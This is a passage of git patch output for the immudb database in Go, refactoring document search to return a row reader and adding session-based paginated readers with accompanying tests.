results []*structpb.Struct - - for { - row, err := r.Read(ctx) - if err == sql.ErrNoMoreRows { - break - } - if err != nil { - return nil, err - } - - docBytes := row.ValuesByPosition[0].RawValue().([]byte) - - doc := &structpb.Struct{} - err = json.Unmarshal(docBytes, doc) - if err != nil { - return nil, err - } - results = append(results, doc) - } - - return results, nil + return r, nil } func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *EncodedDocAudit, err error) { @@ -954,3 +926,32 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, return } + +// ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. +func ReadStructMessagesFromReader(ctx context.Context, reader sql.RowReader, count int) ([]*structpb.Struct, error) { + var err error + results := make([]*structpb.Struct, 0) + + for l := 0; l < count; l++ { + var row *sql.Row + row, err = reader.Read(ctx) + if err == sql.ErrNoMoreRows { + break + } + if err != nil { + return nil, err + } + + docBytes := row.ValuesByPosition[0].RawValue().([]byte) + + doc := &structpb.Struct{} + err = json.Unmarshal(docBytes, doc) + if err != nil { + return nil, err + } + + results = append(results, doc) + } + + return results, err +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index dd48441a42..c4841d73b0 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -152,8 +152,8 @@ func TestCreateCollection(t *testing.T) { } func TestGetDocument(t *testing.T) { + ctx := context.Background() engine := makeEngine(t) - // create collection collectionName := "mycollection" err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ @@ -201,17 +201,13 @@ func TestGetDocument(t *testing.T) { }, } - // invalid page number - _, err = engine.GetDocuments(context.Background(), collectionName, expressions, 0, 10) - require.Error(t, err) - - // invalid page limit - _, err = engine.GetDocuments(context.Background(), collectionName, expressions, 1, 0) - require.Error(t, err) - - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 10) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 1, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 1) + require.NoError(t, err) + + require.Equal(t, 1, len(docs)) } func TestDocumentAudit(t *testing.T) { @@ -286,7 +282,8 @@ func TestDocumentAudit(t *testing.T) { } } -func TestQueryDocument(t *testing.T) { +func TestQueryDocuments(t *testing.T) { + ctx := context.Background() engine := makeEngine(t) // create collection @@ -327,9 +324,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 9, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 9, len(docs)) }) t.Run("test query with < operator", func(t *testing.T) { @@ -343,9 +343,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 10, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 10, len(docs)) }) t.Run("test query with <= operator", func(t *testing.T) { @@ -359,9 +362,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 9, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 9, len(docs)) }) t.Run("test query with > operator", func(t *testing.T) { @@ -374,10 +380,12 @@ func TestQueryDocument(t *testing.T) { }, }, } - - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 5, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 5, len(docs)) }) t.Run("test query with >= operator", func(t *testing.T) { @@ -391,9 +399,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 1, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 1, len(docs)) }) t.Run("test group query with != operator", func(t *testing.T) { @@ -414,9 +425,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 8, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 8, len(docs)) }) t.Run("test group query with < operator", func(t *testing.T) { @@ -437,9 +451,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 4, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 4, len(docs)) }) t.Run("test group query with > operator", func(t *testing.T) { @@ -460,9 +477,12 @@ func TestQueryDocument(t *testing.T) { }, } - doc, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 20) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) - require.Equal(t, 3, len(doc)) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 20) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + require.Equal(t, 3, len(docs)) }) } @@ -515,7 +535,11 @@ func TestDocumentUpdate(t *testing.T) { require.NotEqual(t, rev, 0) // Verify that the document was updated - updatedDocs, err := e.GetDocuments(ctx, collectionName, queries, 1, 1) + reader, err := e.GetDocuments(ctx, collectionName, queries) + require.NoError(t, err) + defer reader.Close() + + updatedDocs, err := ReadStructMessagesFromReader(ctx, reader, 1) require.NoError(t, err) updatedDoc := updatedDocs[0] @@ -564,11 +588,12 @@ func TestDocumentUpdate(t *testing.T) { } func TestFloatSupport(t *testing.T) { + ctx := context.Background() engine := makeEngine(t) collectionName := "mycollection" err := engine.CreateCollection( - context.Background(), + ctx, collectionName, map[string]*IndexOption{ "number": {Type: sql.Float64Type}, @@ -576,7 +601,7 @@ func TestFloatSupport(t *testing.T) { ) require.NoError(t, err) - catalog, err := engine.sqlEngine.Catalog(context.Background(), nil) + catalog, err := engine.sqlEngine.Catalog(ctx, nil) require.NoError(t, err) table, err := catalog.GetTableByName(collectionName) @@ -609,8 +634,12 @@ func TestFloatSupport(t *testing.T) { } // check if document is updated - docs, err := engine.GetDocuments(context.Background(), collectionName, expressions, 1, 10) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) + defer reader.Close() + docs, err := ReadStructMessagesFromReader(ctx, reader, 1) + require.NoError(t, err) + require.Equal(t, 1, len(docs)) // retrieve document @@ -859,8 +888,11 @@ func TestBulkInsert(t *testing.T) { }, } - docs, err = engine.GetDocuments(ctx, collectionName, expressions, 1, 10) + reader, err := engine.GetDocuments(ctx, collectionName, expressions) require.NoError(t, err) + defer reader.Close() + + docs, _ = ReadStructMessagesFromReader(ctx, reader, 10) require.Equal(t, 10, len(docs)) for i, doc := range docs { @@ -875,3 +907,65 @@ func newQuery(field string, op int, value *structpb.Value) *Query { Value: value, } } + +func TestPaginationOnReader(t *testing.T) { + ctx := context.Background() + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(ctx, collectionName, map[string]*IndexOption{ + "idx": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, + "pincode": {Type: sql.IntegerType}, + }) + require.NoError(t, err) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 20; i++ { + _, _, err = engine.InsertDocument(ctx, collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }) + require.NoError(t, err) + } + + t.Run("test reader for multiple reads", func(t *testing.T) { + expressions := []*Query{ + { + Field: "pincode", + Operator: sql.GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + } + + reader, err := engine.GetDocuments(ctx, collectionName, expressions) + require.NoError(t, err) + defer reader.Close() + + results := make([]*structpb.Struct, 0) + // use the reader to read paginated documents 5 at a time + for i := 0; i < 4; i++ { + docs, _ := ReadStructMessagesFromReader(ctx, reader, 5) + require.Equal(t, 5, len(docs)) + results = append(results, docs...) + } + + for i := 1.0; i <= 20; i++ { + doc := results[int(i-1)] + require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + } + }) +} diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index d77a0ce0c0..c4a308d2cc 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -46,10 +46,10 @@ type DocumentDatabase interface { UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) - // GetDocument returns the document - SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // InsertDocument creates a new document InsertDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) + // SearchDocuments queries the document + SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (sql.RowReader, error) // DocumentAudit returns the document audit history DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) // UpdateDocument updates a document @@ -123,6 +123,27 @@ func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav return newCollectionInformation(collectionName, indexes), nil } +// SearchDocuments returns the documents matching the search request constraints +func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (sql.RowReader, error) { + queries := make([]*document.Query, 0, len(req.Query)) + for _, q := range req.Query { + queries = append(queries, &document.Query{ + Operator: int(q.Operator), + Field: q.Field, + Value: q.Value, + }) + } + if req.Page < 1 || req.PerPage < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + + reader, err := d.documentEngine.GetDocuments(ctx, req.Collection, queries) + if err != nil { + return nil, err + } + return reader, nil +} + // helper function to create a collection information func newCollectionInformation(collectionName string, indexes []*sql.Index) *schemav2.CollectionInformation { cinfo := &schemav2.CollectionInformation{ @@ -206,27 +227,6 @@ func (d *db) InsertDocument(ctx context.Context, req *schemav2.DocumentInsertReq }, nil } -// SearchDocuments returns the documents matching the search request constraints -func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { - queries := make([]*document.Query, 0, len(req.Query)) - for _, q := range req.Query { - queries = append(queries, &document.Query{ - Operator: int(q.Operator), - Field: q.Field, - Value: q.Value, - }) - } - if req.Page < 1 || req.PerPage < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - results, err := d.documentEngine.GetDocuments(ctx, req.Collection, queries, int(req.Page), int(req.PerPage)) - if err != nil { - return nil, err - } - return &schemav2.DocumentSearchResponse{Results: results}, nil -} - func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 21cd02bc23..2e6de86358 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -20,6 +20,7 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/document" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/verification" @@ -49,18 +50,16 @@ func makeDocumentDb(t *testing.T) *db { db := d.(*db) - // _, _, err = db.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbName}}, nil) - // require.NoError(t, err) - return db } func TestDocumentDB_Collection(t *testing.T) { + ctx := context.Background() db := makeDocumentDb(t) // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ + _, err := db.CreateCollection(ctx, &schemav2.CollectionCreateRequest{ Name: collectionName, IndexKeys: map[string]*schemav2.IndexOption{ "pincode": newIndexOption(schemav2.IndexType_INTEGER), @@ -69,7 +68,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.NoError(t, err) // get collection - cinfo, err := db.GetCollection(context.Background(), &schemav2.CollectionGetRequest{ + cinfo, err := db.GetCollection(ctx, &schemav2.CollectionGetRequest{ Name: collectionName, }) require.NoError(t, err) @@ -80,7 +79,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) // add document to collection - docRes, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ + docRes, err := db.InsertDocument(ctx, &schemav2.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -94,7 +93,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.NotNil(t, docRes) // query collection for document - docs, err := db.SearchDocuments(context.Background(), &schemav2.DocumentSearchRequest{ + reader, err := db.SearchDocuments(ctx, &schemav2.DocumentSearchRequest{ Collection: collectionName, Page: 1, PerPage: 10, @@ -109,18 +108,23 @@ func TestDocumentDB_Collection(t *testing.T) { }, }) require.NoError(t, err) - require.Equal(t, 1, len(docs.Results)) - doc := docs.Results[0] + defer reader.Close() + docs, err := document.ReadStructMessagesFromReader(ctx, reader, 1) + require.NoError(t, err) + + require.Equal(t, 1, len(docs)) + doc := docs[0] + require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) - proofRes, err := db.DocumentProof(context.Background(), &schemav2.DocumentProofRequest{ + proofRes, err := db.DocumentProof(ctx, &schemav2.DocumentProofRequest{ Collection: collectionName, DocumentId: docRes.DocumentId, }) require.NoError(t, err) require.NotNil(t, proofRes) - newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) + newState, err := verification.VerifyDocument(ctx, proofRes, doc, nil, nil) require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index bff5b0a391..49ee1f7efd 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -256,7 +256,7 @@ func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.Collectio } // SearchDocuments returns the document -func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { +func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (sql.RowReader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 7608a6110c..fc0414cdea 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -18,9 +18,16 @@ package server import ( "context" + "fmt" + "strings" + "github.com/codenotary/immudb/embedded/document" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/server/sessions" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/status" ) func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.DocumentInsertRequest) (*documentschema.DocumentInsertResponse, error) { @@ -47,18 +54,6 @@ func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *documentschema.Doc return resp, nil } -func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentSearch") - if err != nil { - return nil, err - } - resp, err := db.SearchDocuments(ctx, req) - if err != nil { - return nil, err - } - return resp, nil -} - func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentschema.CollectionCreateRequest) (*documentschema.CollectionCreateResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionCreate") if err != nil { @@ -166,6 +161,83 @@ func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *documentschema.C return resp, nil } +func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentSearch") + if err != nil { + return nil, err + } + + // get the session from the context + sessionID, err := sessions.GetSessionIDFromContext(ctx) + if err != nil { + return nil, err + } + sess, err := s.SessManager.GetSession(sessionID) + if err != nil { + return nil, err + } + + // generate a unique query name based on the request parameters + queryName := generateQueryName(req) + + // check if the paginated reader for this query has already been created + var resultReader sql.RowReader + var pgreader *sessions.PaginatedReader + + pgreader, err = sess.GetPaginatedReader(queryName) + if err != nil { // paginated reader does not exist, create a new one and add it to the session + resultReader, err = db.SearchDocuments(ctx, req) + if err != nil { + return nil, err + } + + // store the reader in the session for future use + pgreader = &sessions.PaginatedReader{ + Reader: resultReader, + LastPageNumber: req.Page, + LastPageSize: req.PerPage, + } + sess.SetPaginatedReader(queryName, pgreader) + } else { // paginated reader already exists, resume reading from the correct offset based on pagination parameters + // do validation on the pagination parameters + if req.Page < pgreader.LastPageNumber { + return nil, status.Errorf(codes.InvalidArgument, "cannot go back to a previous page") + } + resultReader = pgreader.Reader + } + + // read the next page of data from the paginated reader + results, err := document.ReadStructMessagesFromReader(ctx, resultReader, int(req.PerPage)) + if err != nil && err != sql.ErrNoMoreRows { + return nil, err + } + if err == sql.ErrNoMoreRows { + // end of data reached, remove the paginated reader and pagination parameters from the session + sess.DeletePaginatedReader(queryName) + } + + // update the pagination parameters for this query in the session + err = sess.UpdatePaginatedReaderCount(queryName, int(pgreader.TotalRead)+len(results)) + if err != nil { + return nil, err + } + + return &documentschema.DocumentSearchResponse{ + Results: results, + }, nil +} + +func generateQueryName(req *documentschema.DocumentSearchRequest) string { + var queryBuilder strings.Builder + queryBuilder.WriteString(req.Collection) + + for _, q := range req.Query { + queryBuilder.WriteString(fmt.Sprintf("%v%v", q.Field, q.Value)) + } + + return queryBuilder.String() +} + func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema.DocumentInsertManyRequest) (*documentschema.DocumentInsertManyResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") if err != nil { @@ -175,5 +247,6 @@ func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *documentschema if err != nil { return nil, err } + return resp, nil } diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index ca85dfe8fd..d7ad9cc2f9 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -26,11 +26,23 @@ import ( "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" + "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/server/sessions/internal/transactions" "google.golang.org/grpc/metadata" ) +var ( + ErrPaginatedReaderNotFound = errors.New("paginated reader not found") +) + +type PaginatedReader struct { + LastPageNumber uint32 // last read page number + LastPageSize uint32 // number of items per page + TotalRead uint32 // total number of items read + Reader sql.RowReader // reader to read from +} + type Session struct { mux sync.RWMutex id string @@ -40,6 +52,8 @@ type Session struct { lastActivityTime time.Time transactions map[string]transactions.Transaction log logger.Logger + + paginatedReaders map[string]*PaginatedReader // map from query names to sql.RowReader objects } func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { @@ -193,3 +207,45 @@ func (s *Session) GetCreationTime() time.Time { defer s.mux.RUnlock() return s.creationTime } + +func (s *Session) SetPaginatedReader(queryName string, reader *PaginatedReader) { + s.mux.Lock() + defer s.mux.Unlock() + + // add the reader to the paginatedReaders map + s.paginatedReaders[queryName] = reader +} + +func (s *Session) GetPaginatedReader(queryName string) (*PaginatedReader, error) { + s.mux.RLock() + defer s.mux.RUnlock() + + // get the io.Reader object for the specified query name + reader, ok := s.paginatedReaders[queryName] + if !ok { + return nil, ErrPaginatedReaderNotFound + } + + return reader, nil +} + +func (s *Session) DeletePaginatedReader(queryName string) { + s.mux.RLock() + defer s.mux.RUnlock() + + delete(s.paginatedReaders, queryName) +} + +func (s *Session) UpdatePaginatedReaderCount(queryName string, totalDocsRead int) error { + s.mux.Lock() + defer s.mux.Unlock() + + // get the io.Reader object for the specified query name + reader, ok := s.paginatedReaders[queryName] + if !ok { + return ErrPaginatedReaderNotFound + } + reader.TotalRead = uint32(totalDocsRead) + + return nil +} From c6806963ab913f69db6b6a2de0184e85abbe1615 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 13 Apr 2023 17:00:24 +0530 Subject: [PATCH 0455/1062] chore(pkg/server): add pagination test for document search --- embedded/document/engine_test.go | 3 - pkg/server/documents_operations.go | 18 +-- pkg/server/documents_operations_test.go | 148 ++++++++++++++++++++++++ pkg/server/sessions/session.go | 17 ++- 4 files changed, 171 insertions(+), 15 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index c4841d73b0..749db590d4 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -162,7 +162,6 @@ func TestGetDocument(t *testing.T) { "data": {Type: sql.BLOBType}, }) require.NoError(t, err) - require.NoError(t, err) // add document to collection _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ @@ -656,7 +655,6 @@ func TestDeleteCollection(t *testing.T) { "idx": {Type: sql.IntegerType}, }) require.NoError(t, err) - require.NoError(t, err) // add documents to collection for i := 1.0; i <= 10; i++ { @@ -920,7 +918,6 @@ func TestPaginationOnReader(t *testing.T) { "pincode": {Type: sql.IntegerType}, }) require.NoError(t, err) - require.NoError(t, err) // add documents to collection for i := 1.0; i <= 20; i++ { diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index fc0414cdea..38f30fc713 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -30,6 +30,10 @@ import ( "google.golang.org/grpc/status" ) +var ( + ErrInvalidPreviousPage = status.Errorf(codes.InvalidArgument, "cannot go back to a previous page") +) + func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.DocumentInsertRequest) (*documentschema.DocumentInsertResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentInsert") if err != nil { @@ -201,7 +205,7 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc } else { // paginated reader already exists, resume reading from the correct offset based on pagination parameters // do validation on the pagination parameters if req.Page < pgreader.LastPageNumber { - return nil, status.Errorf(codes.InvalidArgument, "cannot go back to a previous page") + return nil, ErrInvalidPreviousPage } resultReader = pgreader.Reader } @@ -211,20 +215,18 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc if err != nil && err != sql.ErrNoMoreRows { return nil, err } + + // update the pagination parameters for this query in the session + sess.UpdatePaginatedReader(queryName, req.Page, req.PerPage, int(pgreader.TotalRead)+len(results)) + if err == sql.ErrNoMoreRows { // end of data reached, remove the paginated reader and pagination parameters from the session sess.DeletePaginatedReader(queryName) } - // update the pagination parameters for this query in the session - err = sess.UpdatePaginatedReaderCount(queryName, int(pgreader.TotalRead)+len(results)) - if err != nil { - return nil, err - } - return &documentschema.DocumentSearchResponse{ Results: results, - }, nil + }, err } func generateQueryName(req *documentschema.DocumentSearchRequest) string { diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 2406db6fd1..d8390d20dd 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -21,11 +21,14 @@ import ( "fmt" "testing" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/authorizationschema" "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/auth" "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" + "google.golang.org/protobuf/types/known/structpb" ) func TestV2Authentication(t *testing.T) { @@ -94,3 +97,148 @@ func TestV2Authentication(t *testing.T) { assert.NotErrorIs(t, err, ErrNotLoggedIn) } + +func TestPaginationOnReader(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithPort(0). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + require.NoError(t, s.Initialize()) + + logged, err := s.OpenSessionV2(context.Background(), &authorizationschema.OpenSessionRequestV2{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + assert.NoError(t, err) + assert.NotEmpty(t, logged.Token) + + md := metadata.Pairs("sessionid", logged.Token) + ctx := metadata.NewIncomingContext(context.Background(), md) + + // create collection + collectionName := "mycollection" + _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{ + Name: collectionName, + IndexKeys: map[string]*documentschema.IndexOption{ + "pincode": {Type: documentschema.IndexType_INTEGER}, + "country": {Type: documentschema.IndexType_STRING}, + "idx": {Type: documentschema.IndexType_INTEGER}, + }, + }) + require.NoError(t, err) + + // add documents to collection + for i := 1.0; i <= 20; i++ { + _, err = s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{ + Collection: collectionName, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, + }, + "idx": { + Kind: &structpb.Value_NumberValue{NumberValue: i}, + }, + }, + }, + }) + require.NoError(t, err) + } + + t.Run("test reader for multiple paginated reads", func(t *testing.T) { + results := make([]*structpb.Struct, 0) + + for i := 1; i <= 4; i++ { + resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + Collection: collectionName, + Query: []*documentschema.DocumentQuery{ + { + Field: "pincode", + Operator: documentschema.QueryOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, + Page: uint32(i), + PerPage: 5, + }) + require.NoError(t, err) + require.Equal(t, 5, len(resp.Results)) + results = append(results, resp.Results...) + } + + for i := 1.0; i <= 20; i++ { + doc := results[int(i-1)] + require.Equal(t, i, doc.Fields["idx"].GetNumberValue()) + } + }) + + t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { + _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + Collection: collectionName, + Query: []*documentschema.DocumentQuery{ + { + Field: "pincode", + Operator: documentschema.QueryOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, + Page: 5, + PerPage: 5, + }) + require.ErrorIs(t, err, sql.ErrNoMoreRows) + + }) + + t.Run("test reader should throw error on reading backwards", func(t *testing.T) { + for i := 1; i <= 3; i++ { + resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + Collection: collectionName, + Query: []*documentschema.DocumentQuery{ + { + Field: "pincode", + Operator: documentschema.QueryOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, + Page: uint32(i), + PerPage: 5, + }) + require.NoError(t, err) + require.Equal(t, 5, len(resp.Results)) + } + + _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + Collection: collectionName, + Query: []*documentschema.DocumentQuery{ + { + Field: "pincode", + Operator: documentschema.QueryOperator_GE, + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 0}, + }, + }, + }, + Page: 2, // read upto page 3, check if we can read backwards + PerPage: 5, + }) + + require.ErrorIs(t, err, ErrInvalidPreviousPage) + }) + +} diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index d7ad9cc2f9..41cc63c0b7 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -51,9 +51,8 @@ type Session struct { creationTime time.Time lastActivityTime time.Time transactions map[string]transactions.Transaction - log logger.Logger - paginatedReaders map[string]*PaginatedReader // map from query names to sql.RowReader objects + log logger.Logger } func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Logger) *Session { @@ -66,6 +65,7 @@ func NewSession(sessionID string, user *auth.User, db database.DB, log logger.Lo lastActivityTime: now, transactions: make(map[string]transactions.Transaction), log: log, + paginatedReaders: make(map[string]*PaginatedReader), } } @@ -236,7 +236,7 @@ func (s *Session) DeletePaginatedReader(queryName string) { delete(s.paginatedReaders, queryName) } -func (s *Session) 